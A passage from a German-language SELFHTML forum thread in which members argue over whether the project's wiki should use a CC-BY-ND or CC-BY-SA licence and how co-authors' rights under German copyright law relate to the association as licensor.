              Das Problem ist auf Einzelkämpfertexte anwendbar, nicht jedoch auf das Gemeinschaftswerk Wiki. Sobald ein Text weltweit änderbar ist, und dies jemand tut, verliert der Autor den Status als Urhebers (falls er den jemals als Mitarbeiter an einem Gesamtwerk hatte) und ist jetzt nur noch Miturheber. Er kann jetzt nicht mehr frei darüber verfügen, sondern muss sich mit seinen Miturhebern abstimmen. Da das bei mehr oder weniger anonymen Miturhebern ein Unding werden würde, muss beim Gemeinschaftswerk Wiki ein Verzicht auf die Verwertungsrechte vereinbart werden.

              SELFHTML kann kein geistiges Eigentum für die Beschreibung von Webtechniken beanspruchen (wie im übrigen auch sonst kein Autor).

              Warum nicht? Es kommt darauf an, ob es als selbständiges Werk angesehen wird oder nicht. Nicht nur Romanautoren sind Urheber im Sinne des UrhG, auch Fachbuchautoren, die beispielsweise eine Programmiersprache/-umgebung beschreiben sind es.

              SELFHTML kann aber rechte bezüglich der Formalen Präsentation geltend machen. Und hier gilt es klar zu sehen, was es zu schützen gilt im Sinne der öffentlichen Nutzens ist der Mehrwert in der Organisation der Inhalte.
              Wenn jemand Inhalte in eine Buchform bringt, dann leistet er genau diese selbständige Arbeit.

              Er wird dabei aber kein Urheber des Textes. Nicht der Aufwand der Arbeit zählt, sondern ob das Resultat als eigenständiges Werk angesehen werden kann oder nicht.

              Wenn SELFHTML formal fertige Versionen zum Download anbietet, dann muss es den Status dieser Form rechtlich beschreiben. Solche Seiten dürfen nicht einfach ohne eine Lizenz irgendwo anders gehostet werden.

              Deswegen gibt es ja die CC-Lizenz, mit der der SELFHTML e.V. als Rechteinhaber am Gemeinschaftswerk Wiki gegenüber den Nutzern auftritt.

              Anderseits kann man dem WIKI-Autoren nicht die eigene Nutzung seiner Beiträge vorenthalten. Die Frage ist lediglich, wie das formale Verhältnis ist.

              Als Mitautor hat man wie gesagt kein alleiniges Verwertungsrecht mehr. Wegen Unpraktikabilität des Abstimmens zwischen allen anderen Miturhebern sehe ich nur eine Verzichtserklärung gemäß §8 (4) UrhG als Lösung. Davon unbetroffen sind die uneditierbaren Einzelkämpferbeiträge.

              Lo!

      2. Hi!

        Mit ein paar Ausnahmen dazu haben wir uns jetzt folgendes Regelwerk überlegt:
        (1) Der Inhalt des Wikis steht unter der Lizenz CC-BY-ND

        ND steht für "No Derivatives", verbietet also sämtliche Änderungen. Das würde bedeuten, sobald ein Artikel einmal angelegt ist, darf er nicht verändert werden. Der Sinn des Wikis ist es aber, dass andere daran herumpfuschen dürfen.

        Sämtliche ND-Lizenzen sind inhärent inkompatibel mit dem Wiki-Prinzip. Da muss etwas anderes her.

        Gruß
        Bernhard

        1. Hi!

          Mit ein paar Ausnahmen dazu haben wir uns jetzt folgendes Regelwerk überlegt:
          (1) Der Inhalt des Wikis steht unter der Lizenz CC-BY-ND
          ND steht für "No Derivatives", verbietet also sämtliche Änderungen. Das würde bedeuten, sobald ein Artikel einmal angelegt ist, darf er nicht verändert werden. Der Sinn des Wikis ist es aber, dass andere daran herumpfuschen dürfen.

          Wie schon in meinen anderen Antworten verdeutlicht, sehe ich das nicht so. Man muss zwischen den Nutzern und der Autorenschaft unterscheiden. Sobald man anfängt Änderungen vorzunehmen wechselt man die Seiten vom Nutzer und CC-Lizenznehmer zum Autoren mit gesonderter rechtlicher Vereinbarung.

          Sämtliche ND-Lizenzen sind inhärent inkompatibel mit dem Wiki-Prinzip. Da muss etwas anderes her.

          Das ND soll nach meiner Auffassung nur verhindern, dass jemand außerhalb des SELF-Raums eine Kopie erstellt, sie verändert und dann als seine Schöpfung präsentiert. Es geht nicht um die Mitarbeit am eigentlichen Werk. Die ist unabhängig von der Lizenez für die Nutzer zu gewährleisten.

          Mal angenommen ein Autor schreibt ein Werk und stellt es unter eine ND-Lizenz. Er selbst darf dann natürlich weiterhin Änderungen vornehmen. Die ND-Lizenz verbietet nicht ihm selbst, Änderungen vorzunehmen. Und er darf sich dazu auch Leute ins Boot holen, die den Text bereits gelesen haben, also Lizenznehmer geworden sind. Diese dürfen Änderungen vornehmen, weil die ND für sie als (Mit-)Autor weder gilt noch gedacht ist.

          Nach diesem Prinzip funktioniert auch das Wiki. Die reine Nutzung unterliegt der CC-Lizenz, wenn Mitarbeiter gewonnen werden, wechseln sie die Seiten und sind im Rahmen des Wikis nicht mehr an die CC-Lizenz gebunden. Wenn sie außerhalb tätig werden wollen sind sie wieder "nur noch" Nutzer und von der Lizenz betroffen.

          Lo!

          1. Hallo dedlfix,

            sehr gut! Besser hätte ich das nicht formulieren können. :-)

            Grüße

            Marc Reichelt || http://www.marcreichelt.de/

            --
            DPRINTK("Last time you were disconnected, how about now?");
                    linux-2.6.6/drivers/net/tokenring/ibmtr.c
            Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
        2. Hallo Bernhard,

          Mit ein paar Ausnahmen dazu haben wir uns jetzt folgendes Regelwerk überlegt:
          (1) Der Inhalt des Wikis steht unter der Lizenz CC-BY-ND
          ND steht für "No Derivatives", verbietet also sämtliche Änderungen. Das würde bedeuten, sobald ein Artikel einmal angelegt ist, darf er nicht verändert werden. Der Sinn des Wikis ist es aber, dass andere daran herumpfuschen dürfen.

          Sämtliche ND-Lizenzen sind inhärent inkompatibel mit dem Wiki-Prinzip. Da muss etwas anderes her.

          Nein, das sind sie nicht. Die Lizenz regelt die Nutzungsrechte außerhalb des Wikis, sprich: zwischen den Autoren und der restlichen anonymen Masse des Internets.
          Innerhalb des Wikis darf daher editiert werden. Werden die Inhalte an andere Stelle kopiert so dürfen diese nicht verändert werden. Darüber haben wir uns natürlich Gedanken gemacht - ich war auch erst irritiert und dachte, dass ND nicht zu einem Wiki passen würde. Man darf aber den Kontext nicht übersehen - der ist wichtig.

          Grüße

          Marc Reichelt || http://www.marcreichelt.de/

          --
          DPRINTK("Last time you were disconnected, how about now?");
                  linux-2.6.6/drivers/net/tokenring/ibmtr.c
          Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
          1. Hi!

            Sämtliche ND-Lizenzen sind inhärent inkompatibel mit dem Wiki-Prinzip. Da muss etwas anderes her.

            Nein, das sind sie nicht. Die Lizenz regelt die Nutzungsrechte außerhalb des Wikis, sprich: zwischen den Autoren und der restlichen anonymen Masse des Internets.
            Innerhalb des Wikis darf daher editiert werden. Werden die Inhalte an andere Stelle kopiert so dürfen diese nicht verändert werden. Darüber haben wir uns natürlich Gedanken gemacht - ich war auch erst irritiert und dachte, dass ND nicht zu einem Wiki passen würde. Man darf aber den Kontext nicht übersehen - der ist wichtig.

            Aha, das ist gut, aber hier muss man den Autoren auch deutlich zu verstehen geben, wie das gemeint ist. Sonst "missverstehen" das andere (vielleicht sogar absichtlich) ähnlich falsch wie ich: "Wer mitschreibt, stellt seinen Beitrag unter der Lizenz CC-BY-ND zur Verfügung".

            Gruß
            Bernhard

        3. Hallo,

          Sämtliche ND-Lizenzen sind inhärent inkompatibel mit dem Wiki-Prinzip. Da muss etwas anderes her.

          Das ist ein vollkommener Irrtum. Nich zuletzt, weil _jeder_ der CC Lizenzen klar definiert, dass man die Lizenz erweitern kann. Sprich: Zusatzvereinbarungen.

          Grüße
          Thomas

          1. Hallo,

            Sprich: Zusatzvereinbarungen.

            Sorry, aber das ist doch großer Quatsch. - Warum gibt es »Creative Commons«? Es gab ursprünglich ein Wirrwarr an eigenen Lizenzen. Dann haben sich Künstler und Autoren zusammengesetzt, um in ihrer Community einfache, zueinander kompatible Lizenzen zu etablieren. Vorgefertigte Lizenzen, die die »Remixability« von Daten und Inhalten ermöglichen sollen. Dafür hat die CC-Initiative »Forschung« betrieben und letztlich sind Lizenzen herausgekommen, die in verschiedenen Rechtssystemen der Welt gültig und brauchbar sind. Der Sinn ist, ein »CC-BY-SA« (oder was auch immer) an das Werk dranzuschreiben und jeder Hinz und Kunz weiß, was damit gemeint ist und wie das Werk (weiter- und wieder-)verwendet werden darf.

            Soviel zu CC. Deswegen ist die Wikipedia auf CC umgestiegen. CC-BY-SA ist im Wikipedia-Kontext ganz einfach (AFAIK): Per Lizenz stimmt jeder Mitautor zu, dass seine Beiträge weiterverbreitet werden dürfen und die Basis für weitere Werke bilden dürfen. Ihr wollt es jetzt umgekehrt machen: ND dranschreiben, Derivative Works dann aber mit Zusatzbestimmungen (sozusagen einer weiteren Lizenz bzw. Rechteabtretung) erlauben, jedoch nur innerhalb des Wikis. Diesen Unterschied zwischen »Innen« und »Außen« stellt ihr mit einem Kniff her (Unterscheidung zwischen »Nutzern« und »Mitautoren«). IANAL, aber für mich klingt das alles sehr konstruiert. (Fällt ein Mitautor aus seiner rechtlichen Rolle als »Mitautor«, wenn er Teile aus dem Wiki auf seiner Homepage fortschreibt? Wenn ja, wieso, wenn nicht, wieso nicht? Das nur als zu klärende Fragen.)

            Das kann man nun inhaltlich kritisieren, z.B. habe ich schon argumentiert, dass Kopien der Wikipedia ihr selbst wenig Schaden zufügen. Außerdem weicht man mit Zusatzbestimmungen von der Rechtssicherheit der etablierten CC-Lizenzen ab, welche der ganze Sinn hinter CC sind.

            Viel problematischer finde ich die strategische Dimension: Einerseits nutzt man eine der restriktiveren CC-Lizenzen »nach außen hin«, damit diese aber »nach innen« praktikabel ist, muss man sie mit zusätzlichen Bestimmungen versehen. Da frage ich mich, wo noch der Nutzen der Wahl der CC-Lizenz ist gegenüber eine komplett eigenen (wie es jetzt schon der Fall ist). Wie gesagt, die Einfachheit der CC-Lizenz fundiert bei Communities wie der Wikipedia die gesamte Zusammenarbeit. Das ist für mich das Besondere und Neue der CC-Lizenzen: Man legt Lizenzen fest und verbreitet sie, sodass sich aus dem simplen Schema (Urheberangabe nötig + Bearbeitung möglich oder nicht + optional Non-Commercial + optional Share-Alike) alles ergibt.

            Fragt ihr euch nicht, warum euer Lizenzmodell schon jetzt Missverständnisse hervorruft? CC ist einfach, ihr versucht das Gegenteil. Anstatt dass jeder Wiki-Mitautor der CC-Lizenz zustimmt und seine Inhalte darunter veröffentlicht, nutzt ihr CC nur indirekt (Übertragung gewisser Rechte an den Verein, welcher dann unter CC veröffentlichen darf). Das ruft Verwirrung hervor. Diese kommt nicht von ungefähr und wird nicht weggehen, sondern immer wieder Fragezeichen in den Köpfen auslösen, fürchte ich.

            Gut, es ist natürlich eure Entscheidung, CC nur partiell zu verwenden, wenn das rechtlich möglich ist. Nur bezweifle ich dann, dass sich Sinn und Nutzen der CC-Lizenzen dann entfalten. Ich glaube eher, dass es Leute verwirren wird, wenn sie CC lesen, wo eigentlich gar kein CC (bzw. dieser »Bearbeitung nicht erlaubt und gleichzeitig doch«-Schachzug) drin ist.

            Mathias

            1. Lieber Matthias,

              Fragt ihr euch nicht, warum euer Lizenzmodell schon jetzt Missverständnisse hervorruft?

              richtig! Ich kann es auch nur immer wieder anmahnen: Keep It Simple Stupid!!

              Liebe Grüße,

              Felix Riesterer.

              --
              ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
              1. Hi!

                Fragt ihr euch nicht, warum euer Lizenzmodell schon jetzt Missverständnisse hervorruft?
                richtig! Ich kann es auch nur immer wieder anmahnen: Keep It Simple Stupid!!

                Ich würde es auch gern einfach halten, aber das ist, so sehr man sich das wünscht, nicht immer möglich. Nicht umsonst besteht beispielsweise die CC-BY-SA aus circa 2800 Wörtern und die Wikipedia fügt auch noch eine zweite Lizenz mit 3700 (englischen) Wörtern hinzu. Weiterhin gibt es noch eine Nutzungsvereinbarung mit reichlich 400 Wörtern für Bearbeiter und im eigenen Absatz dazu nochmal ebenso viele für Weiternutzer.

                Es ist wie beim Programmieren. Wenn du es dir zu einfach macht und nur schönes Wetter berücksichtigst, bekommst du ein im Fehlerfall nicht mehr robustes Programm. Deswegen besteht ein Großteil jedes Programms aus den Wenns und Abers dieser Fehlerbehandlung.

                Dein KISS muss um ein "aber nicht einfacher als notwendig" ergänzt werden, damit man nicht beim Extrem am unteren Ende sondern bei einem praktikablen Kompromiss landet.

                Lo!

            2. Hallo,

              Eigentlich habe ich den Beitrag auf dem Du geantwortet hast, selbst gelöscht.
              In diesem Sinne: vergisst das.

              Grüße
              Thomas

              1. Hallo Thomas!

                Eigentlich habe ich den Beitrag auf dem Du geantwortet hast, selbst gelöscht.

                oh, den hatte ich wiederhergestellt in der Annahme, dass ich den Beitrag aus Versehen gelöscht hatte (passiert mir leider immer wieder, so ein Mausausrutscher, und das entsprechende JavaScript, das eine Alertmeldung rauswirft, funzt im Safari nicht zufriedenstellend). Also sorry for inconvenients, Thomas!

                Viele Grüße aus Frankfurt/Main,
                Patrick

                --
                _ - jenseits vom delirium - _

                   Diblom   [link:hatehtehpehdoppelpunktslashslashwehwehwehpunktatomicminuseggspunktcomslash]
                Achtung Agentur! | Nichts ist unmöglich? Doch! | Heute schon gegökt?
            3. Hallo molily,

              Gut, es ist natürlich eure Entscheidung, CC nur partiell zu verwenden, wenn das rechtlich möglich ist. Nur bezweifle ich dann, dass sich Sinn und Nutzen der CC-Lizenzen dann entfalten. Ich glaube eher, dass es Leute verwirren wird, wenn sie CC lesen, wo eigentlich gar kein CC (bzw. dieser »Bearbeitung nicht erlaubt und gleichzeitig doch«-Schachzug) drin ist.

              Ich fand auch, dass solche Zusatzvereinbarungen die Lizenz nur komplizierter machen als nötig. Daher möchte ich an dieser Stelle euch nun fragen (als Referenz): welche unveränderte Creative Commons Lizenz würdet ihr wählen wollen?

              BY-ND oder BY-SA?

              Grüße

              Marc Reichelt || http://www.marcreichelt.de/

              --
              DPRINTK("Last time you were disconnected, how about now?");
                      linux-2.6.6/drivers/net/tokenring/ibmtr.c
              Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
              1. Hallo,

                erklärt Euch bitte dazu vorher und eindeutig, wer Rechteinhaber und Herausgeber der Lizenz ist!

                Gruß aus Berlin!
                eddi

                1. Tach,

                  erklärt Euch bitte dazu vorher und eindeutig, wer Rechteinhaber und Herausgeber der Lizenz ist!

                  diese Frage ergibt keinen Sinn, Herausgeber der Lizenz sind die Creative Commons, aber darauf wolltest du sicher nicht hinaus.

                  mfg
                  Woodfighter

                  1. Tachchen Jens,

                    erklärt Euch bitte dazu vorher und eindeutig, wer Rechteinhaber und Herausgeber der Lizenz ist!
                    diese Frage ergibt keinen Sinn, Herausgeber der Lizenz sind die Creative Commons, aber darauf wolltest du sicher nicht hinaus.

                    bereits bei der Übersetzung des Begriffs "Creative Commons" sollte einem was auffallen...

                    Herausgeber ist im sprachlichen Gebrauch doch nicht nur der Publizist des Lizenztextes sondern auch, und in dem Falle war dies hier so zu verstehen, der Rechtsträger, der "Werke" veröffentlicht und dessen Nutzung an Bedingungen einer Lizenz knüpft. Ich nehme zur Kenntnis, dass es für Deinen Sprachgebrauch keinen Sinn ergibt.

                    Wer aber soll der Rechtsträger sein? Der Verein? Der Autor? Oder der Verein und der Autor?

                    Gruß aus Berlin!
                    eddi

                    1. Tach,

                      Herausgeber ist im sprachlichen Gebrauch doch nicht nur der Publizist des Lizenztextes sondern auch, und in dem Falle war dies hier so zu verstehen, der Rechtsträger, der "Werke" veröffentlicht und dessen Nutzung an Bedingungen einer Lizenz knüpft. Ich nehme zur Kenntnis, dass es für Deinen Sprachgebrauch keinen Sinn ergibt.
                      Wer aber soll der Rechtsträger sein? Der Verein? Der Autor? Oder der Verein und der Autor?

                      ich habe das Gefühl, du verstehst das Urheberrecht nicht; jeder Autor würde in dem Wiki seine Beiträge in der gewählten Lizenz zur Verfügung stellen.

                      mfg
                      Woodfighter

                      1. Re:

                        Herausgeber ist im sprachlichen Gebrauch doch nicht nur der Publizist des Lizenztextes sondern auch, und in dem Falle war dies hier so zu verstehen, der Rechtsträger, der "Werke" veröffentlicht und dessen Nutzung an Bedingungen einer Lizenz knüpft. Ich nehme zur Kenntnis, dass es für Deinen Sprachgebrauch keinen Sinn ergibt.
                        Wer aber soll der Rechtsträger sein? Der Verein? Der Autor? Oder der Verein und der Autor?

                        ich habe das Gefühl, du verstehst das Urheberrecht nicht; jeder Autor würde in dem Wiki seine Beiträge in der gewählten Lizenz zur Verfügung stellen.

                        Dein Gefühl mal dahingestellt; überlege doch mal, welche Unterschiede es hinsichtlich der Verwertung macht, wer Rechtsträger ist und warum u. U. der Verein bei by-nd das nachsehen hätte! Die Frage ist hier essenziel. Bedauerlich nur, dass es dazu keine erbetene Auskunft seitens des Vereins gibt.

                        Gruß aus Berlin!
                        eddi

                        1. Moin!

                          Herausgeber ist im sprachlichen Gebrauch doch nicht nur der Publizist des Lizenztextes sondern auch, und in dem Falle war dies hier so zu verstehen, der Rechtsträger, der "Werke" veröffentlicht und dessen Nutzung an Bedingungen einer Lizenz knüpft. Ich nehme zur Kenntnis, dass es für Deinen Sprachgebrauch keinen Sinn ergibt.
                          Wer aber soll der Rechtsträger sein? Der Verein? Der Autor? Oder der Verein und der Autor?

                          ich habe das Gefühl, du verstehst das Urheberrecht nicht; jeder Autor würde in dem Wiki seine Beiträge in der gewählten Lizenz zur Verfügung stellen.

                          Dein Gefühl mal dahingestellt; überlege doch mal, welche Unterschiede es hinsichtlich der Verwertung macht, wer Rechtsträger ist und warum u. U. der Verein bei by-nd das nachsehen hätte! Die Frage ist hier essenziel. Bedauerlich nur, dass es dazu keine erbetene Auskunft seitens des Vereins gibt.

                          Edgar, dieser Diskussionszweig ergibt für mich keinen Sinn.

                          Deine Eingangsfragestellung hier war: "erklärt Euch bitte dazu vorher und eindeutig, wer Rechteinhaber und Herausgeber der Lizenz ist!"

                          Antwort: Herausgeber der Lizenz ist die Non-Profit-Organisation "Creative Commons". Die heißt so (nachlesen...). "Creative Commons" ist kein englischer Begriff für "gemeinfreie Kreativwerke", wie du das vielleicht implizit nahelegen willst.

                          Und auch Rechteinhaber der Lizenz ist natürlich diese Organisation.

                          Ich vermute, wie Jens vor mir schon, dass dein Einwurf jedoch nicht beleuchten soll, wer die CC-Lizenzen geschrieben und herausgegeben hat.

                          Was jedoch vollkommen offen bleibt - auch trotz Jens' Nachfragen: Auf was willst du eigentlich genau hinaus? Deine Eingangsfragestellung nimmt einen Ansatzpunkt in Angriff, der aus meiner Sicht vollkommen nebensächlich, irrelevant und zusammenhanglos ist und deshalb in der Intention, wie ich sie verstehe, nicht gemeint sein kann.

                          Es ist irrelevant, wer der Herausgeber der Creative-Commons-Lizenz ist. Der SELFHTML e.V. will und kann sie nutzen, um eigene Werke zu veröffentlichen bzw. herauszugeben. Es ist auch irrelevant, wer der Rechteinhaber der CC-Lizenz ist. Der Rechteinhaber des hier besprochenen Werkes wird der SELFHTML e.V. sein.

                          Solltest du durch deinen Einwurf andeuten wollen, dass die Frage der Lizenz vom SELFHTML e.V. entschieden werden sollte, und die Diskussion darüber hier überflüssig ist?

                          Dein Gefühl mal dahingestellt; überlege doch mal, welche Unterschiede es hinsichtlich der Verwertung macht, wer Rechtsträger ist und warum u. U. der Verein bei by-nd das nachsehen hätte!

                          Auch dieser Satz klingt merkwürdig. Insbesondere scheinst du hinsichtlich BY-ND ein Szenario im Kopf zu haben, welches mir persönlich nicht offensichtlich ist. Dein Versuch, bei deinem Publikum durch Anregung zum Nachdenken zu induzieren, dass man auf dieses Szenario kommt, scheitert leider. Warum sagst du nicht direkt, was dir auf-, ein- oder missfallen ist?

                          - Sven Rautenberg

                          1. Moi moin,

                            Herausgeber ist im sprachlichen Gebrauch doch nicht nur der Publizist des Lizenztextes sondern auch, und in dem Falle war dies hier so zu verstehen, der Rechtsträger, der "Werke" veröffentlicht und dessen Nutzung an Bedingungen einer Lizenz knüpft. Ich nehme zur Kenntnis, dass es für Deinen Sprachgebrauch keinen Sinn ergibt.
                            Wer aber soll der Rechtsträger sein? Der Verein? Der Autor? Oder der Verein und der Autor?

                            ich habe das Gefühl, du verstehst das Urheberrecht nicht; jeder Autor würde in dem Wiki seine Beiträge in der gewählten Lizenz zur Verfügung stellen.

                            Dein Gefühl mal dahingestellt; überlege doch mal, welche Unterschiede es hinsichtlich der Verwertung macht, wer Rechtsträger ist und warum u. U. der Verein bei by-nd das nachsehen hätte! Die Frage ist hier essenziel. Bedauerlich nur, dass es dazu keine erbetene Auskunft seitens des Vereins gibt.

                            Edgar, dieser Diskussionszweig ergibt für mich keinen Sinn.

                            ich sehe nichts Hinderliches, warum es so schwer sein soll, parallel im Kopf mehrere Deutungsmöglichkeiten einer Sache zu prüfen, statt plump immer nur die Erstbesste anzunehmen. Es gibt ein Rechtsverhältnis zwischen Lizenzgeber <> Lizenznehmer. Der Eine schreibt einen Wiki-Text, gibt diesen unter der _Lizenz_heraus_, ist also der Herausgeber der Lizenz, was gleich lautend mit dem Schöpfer und Publizist des Lizenztexts sein mag. Es ist jedoch nur eine Ambiguität, wie die Deutung von "Stuhl".

                            Dein Gefühl mal dahingestellt; überlege doch mal, welche Unterschiede es hinsichtlich der Verwertung macht, wer Rechtsträger ist und warum u. U. der Verein bei by-nd das nachsehen hätte!

                            Auch dieser Satz klingt merkwürdig. Insbesondere scheinst du hinsichtlich BY-ND ein Szenario im Kopf zu haben, welches mir persönlich nicht offensichtlich ist. Dein Versuch, bei deinem Publikum durch Anregung zum Nachdenken zu induzieren, dass man auf dieses Szenario kommt, scheitert leider. Warum sagst du nicht direkt, was dir auf-, ein- oder missfallen ist?

                            Sven, die Sache ist offensichtlich: Ein Verein ist eine juristische Person. Die Lizenz, wenn sie von jedem einzelnen Wiki-Autoren herausgegeben wird, gilt gegenüber jeder dritten Person, was eben auch ein juristische Person einschließt. Nun kann der Verein mit der im Diskussionspfad oben stehenden, freimütigen KISS-Lösung à la "wir nehmen entweder by-nd oder by-sa ohne Zusatzvereinbarung" ungewollt ins Hintertreffen geraten, weil u. U. Texte nicht verändert werden dürfen und weil der Verein nicht Rechtsträger wird.

                            Alles klar?

                            Gruß aus Berlin!
                            eddi

                            1. Moin!

                              Edgar, dieser Diskussionszweig ergibt für mich keinen Sinn.

                              ich sehe nichts Hinderliches, warum es so schwer sein soll, parallel im Kopf mehrere Deutungsmöglichkeiten einer Sache zu prüfen, statt plump immer nur die Erstbesste anzunehmen.

                              Du forderst uns auf, das zu tun - und das Feedback von mir ist, dass ich nicht weiß, worauf du hinaus willst. Entweder erklärst du nun also deinen Gedanken, oder die Kommunikation scheitert.

                              Es gibt ein Rechtsverhältnis zwischen Lizenzgeber <> Lizenznehmer.

                              Das ist immer so. Allgemeinplatz.

                              Der Eine schreibt einen Wiki-Text, gibt diesen unter der _Lizenz_heraus_, ist also der Herausgeber der Lizenz

                              An dieser Stelle mein Veto: "Herausgeber der Lizenz" ist ganz schlicht und ergreifend eine vollkommen irreführende Bezeichnung. Drauf zu beharren, diesen Begriff zu verwenden führt zwingend zu Missverständnissen.

                              Korrekt ist "Lizenzgeber". Oder auch "Urheber", "Autor" etc.

                              Denn derjenige gibt nicht die Lizenz heraus, sondern er gibt seinen Text heraus - unter einer bestimmten Lizenz.

                              was gleich lautend mit dem Schöpfer und Publizist des Lizenztexts sein mag. Es ist jedoch nur eine Ambiguität, wie die Deutung von "Stuhl".

                              Dein Gefühl mal dahingestellt; überlege doch mal, welche Unterschiede es hinsichtlich der Verwertung macht, wer Rechtsträger ist und warum u. U. der Verein bei by-nd das nachsehen hätte!

                              Auch dieser Satz klingt merkwürdig. Insbesondere scheinst du hinsichtlich BY-ND ein Szenario im Kopf zu haben, welches mir persönlich nicht offensichtlich ist. Dein Versuch, bei deinem Publikum durch Anregung zum Nachdenken zu induzieren, dass man auf dieses Szenario kommt, scheitert leider. Warum sagst du nicht direkt, was dir auf-, ein- oder missfallen ist?

                              Sven, die Sache ist offensichtlich:

                              Für mich eben nicht.

                              Ein Verein ist eine juristische Person.

                              Korrekt.

                              Die Lizenz, wenn sie von jedem einzelnen Wiki-Autoren herausgegeben wird, gilt gegenüber jeder dritten Person, was eben auch ein juristische Person einschließt.

                              Wenn ich deine falsche Begriffsverwendung hier mal korrigiere:

                              "Wenn ein Autor ein Werk unter einer bestimmten, von ihm festgelegten Lizenz herausgibt, gilt diese gegenüber Dritten, auch gegenüber juristischen Personen."

                              Soweit kein Widerspruch. Das ist uns nicht neu.

                              Nun kann der Verein mit der im Diskussionspfad oben stehenden, freimütigen KISS-Lösung à la "wir nehmen entweder by-nd oder by-sa ohne Zusatzvereinbarung" ungewollt ins Hintertreffen geraten, weil u. U. Texte nicht verändert werden dürfen und weil der Verein nicht Rechtsträger wird.

                              Nein. Die Frage ist ja nicht, unter welcher Lizenz wir Werke von Autoren ENTGEGENNEHMEN, sondern unter welcher Lizenz wir solche Werke selbst wieder HERAUSGEBEN.

                              Mach dir klar, welche Rolle in der Lizenzfrage der Verein spielt.

                              Selbstverständlich wird der Verein im Wiki nur Mitarbeit akzeptieren können, die unter der Bedingung erfolgt, dass der einzelne Autor der Herausgabe seines Beitrags unter der gewählten Lizenz zustimmt.

                              Ich sehe im Moment nicht, dass du zu diesem Thema irgendeine bislang nicht beachtete Problemstellung aufgeworfen hättest. Insofern würde ich das Thema hier abschließen mit der Zusammenfassung: Keine Sorge, haben wir drüber nachgedacht und beachtet.

                              - Sven Rautenberg

                              1. Re:

                                Der Eine schreibt einen Wiki-Text, gibt diesen unter der _Lizenz_heraus_, ist also der Herausgeber der Lizenz

                                An dieser Stelle mein Veto: "Herausgeber der Lizenz" ist ganz schlicht und ergreifend eine vollkommen irreführende Bezeichnung. Drauf zu beharren, diesen Begriff zu verwenden führt zwingend zu Missverständnissen.

                                Korrekt ist "Lizenzgeber".

                                Dann einigen wir und darauf.

                                Oder auch "Urheber", "Autor" etc.

                                (Nur am Rande: Das ist eben auch nicht korrekt. Der Urheber alias Autor kann seine Rechte abtreten[/übertragen]. Somit liegen Lizenzgeber und Urheber nicht [mehr] in einer Person.)

                                Mach dir klar, welche Rolle in der Lizenzfrage der Verein spielt.

                                Selbstverständlich wird der Verein im Wiki nur Mitarbeit akzeptieren können, die unter der Bedingung erfolgt, dass der einzelne Autor der Herausgabe seines Beitrags unter der gewählten Lizenz zustimmt.

                                Damit tritt der Urheber einen Teil seine Rechte ab. Ihr seit also Lizenzgeber. Das wollte ich klargestellt wissen.

                                Ich sehe im Moment nicht, dass du zu diesem Thema irgendeine bislang nicht beachtete Problemstellung aufgeworfen hättest. Insofern würde ich das Thema hier abschließen mit der Zusammenfassung: Keine Sorge, haben wir drüber nachgedacht und beachtet.

                                Fein.

                                Gruß aus Berlin!
                                eddi

                                1. Tach,

                                  Damit tritt der Urheber einen Teil seine Rechte ab. Ihr seit also Lizenzgeber. Das wollte ich klargestellt wissen.

                                  der autor veröffentlicht unter einer Lizenz und der Verein veröffntlicht unter einer Lizenz, beide müssen nur hinreichend kompatibel (Urheber muß dem Verein halt das Recht einräumen unter der gewählten Lizenz zu veröffentlichen) aber nicht gleich sein.

                                  mfg
                                  Woodfighter

              2. Hi!

                Ich fand auch, dass solche Zusatzvereinbarungen die Lizenz nur komplizierter machen als nötig. Daher möchte ich an dieser Stelle euch nun fragen (als Referenz): welche unveränderte Creative Commons Lizenz würdet ihr wählen wollen?

                Ich bin nach wie vor der Meinung, dass sich diese Lizenz nicht an die Autoren sondern nur an die Nutzer richtet.

                BY-ND oder BY-SA?

                Aber wenn es hilft und Missverständnisse ausräumt, wäre ich für beide Arten. Die BY-SA für den weltweit schreibbaren Teil des Wikis und die BY-ND für im Allgemeinen schreibgeschützte Einzelkämpferwerke.

                Ein ND des Wikis könnte man im Prinzip recht einfach umgehen, indem man zum Autor wird, das gewünschte Ziel der Abwandlung in Form einer Änderung des eigentlichen Werkes vornimmt, die ja mehr oder weniger sogleich veröffentlich wird. Davon nimmt man eine Kopie und nutzt sie gemäß den Bedingungen von Punkt 3. Ziel erreicht. Das wird lediglich durch das Prinzip "Sichtung vor Veröffentlichung" eingeschränkt.

                Trotz allem sollte eine gesonderte Vereinbarung hinzukommen, mit der die Wiki-Mitautoren ihre Rechte zugunsten der BY-SA abtreten, oder zumindest damit einverstanden sind, dass allein die BY-SA zur Anwendung kommt. Und eine ähnliche für die Einzelkämpfer-Artikel unter der BY-ND, wobei der Autor weiterhin seine Verwertungsrechte (gemäß UrhG) und damit Vetorechte für weitere Nutzungen behält. (Das sehe ich als besonder wichtig für Beiträge unter der Überschrift "Meinung" an, die sich ändern kann, was im späteren Leben des Autors nicht nachteilig sein sollte.)

                Lo!

                1. Hallo,

                  Trotz allem sollte eine gesonderte Vereinbarung hinzukommen, mit der die Wiki-Mitautoren ihre Rechte zugunsten der BY-SA abtreten

                  genau damit wäre ich aber nicht einverstanden. Ich sehe mich im Moment durchaus in der Rolle eines potentiellen Mit-Autors, und ich möchte, dass ich *meine* Beiträge zum Wiki auch an anderer Stelle (z.B. auf der eigenen Website) veröffentlichen und dort als "mein" bezeichnen darf - auch wenn mein Wiki-Beitrag nur ein ergänzender Absatz, eine erklärende Skizze oder eine Tabelle ist, die einen Sachverhalt innerhalb eines Wiki-Artikels verdeutlicht.

                  Ich lege keinen Wert darauf, innerhalb des Wiki als Autor genannt zu werden; ich habe selbstverständlich auch nichts dagegen, dass andere meinen kleinen Beitrag nutzen, weiterverarbeiten oder ausbauen. Wenn ich aber das, was ich beigesteuert habe, auch wenn es nur eine Kleinigkeit ist, an anderer Stelle (und vielleicht auch in anderem Zusammenhang) nicht mehr als mein Werk bezeichnen darf, finde ich das ausdrücklich nicht in Ordnung.

                  So long,
                   Martin

                  --
                  Wer mit dem Finger droht, sollte ihn am Abzug haben, und nicht in der Nase.
                  1. Hi!

                    Trotz allem sollte eine gesonderte Vereinbarung hinzukommen, mit der die Wiki-Mitautoren ihre Rechte zugunsten der BY-SA abtreten

